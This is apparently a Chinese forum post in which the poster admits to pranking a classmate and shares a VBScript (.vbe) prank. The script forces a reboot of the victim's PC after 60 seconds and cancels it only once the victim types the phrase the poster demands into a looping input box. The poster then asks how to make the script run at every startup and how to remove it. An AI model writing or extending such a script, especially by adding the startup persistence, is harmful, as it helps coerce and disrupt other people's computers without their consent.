代码改编求助

我也不隐瞒什么 我就是想恶搞同学 编的这个东西有点损：
on error resume next
 dim WSHshellA
 set WSHshellA = wscript.createobject("wscript.shell")
 WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说朝熙哥真是帅.，不说就一分钟关你机，不信，试试···"" ",0 ,true  
 dim a
 do while(a <> "啦啦啦啦啦")
 a = inputbox ("说朝熙哥永远帅就不关机　","说不说","不说",8000,7000)
 msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
 loop
msgbox chr(13) + chr(13) + chr(13) + "记住了,我永远是最帅的."
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true  
msgbox chr(13) + chr(13) + chr(13) + "爽嘛?哈哈."
 完了  这个是个  vbe文件  我想如何把它加入启动项 让对方再打开还启动 请高手支招 还有 如果这么做了 怎么破解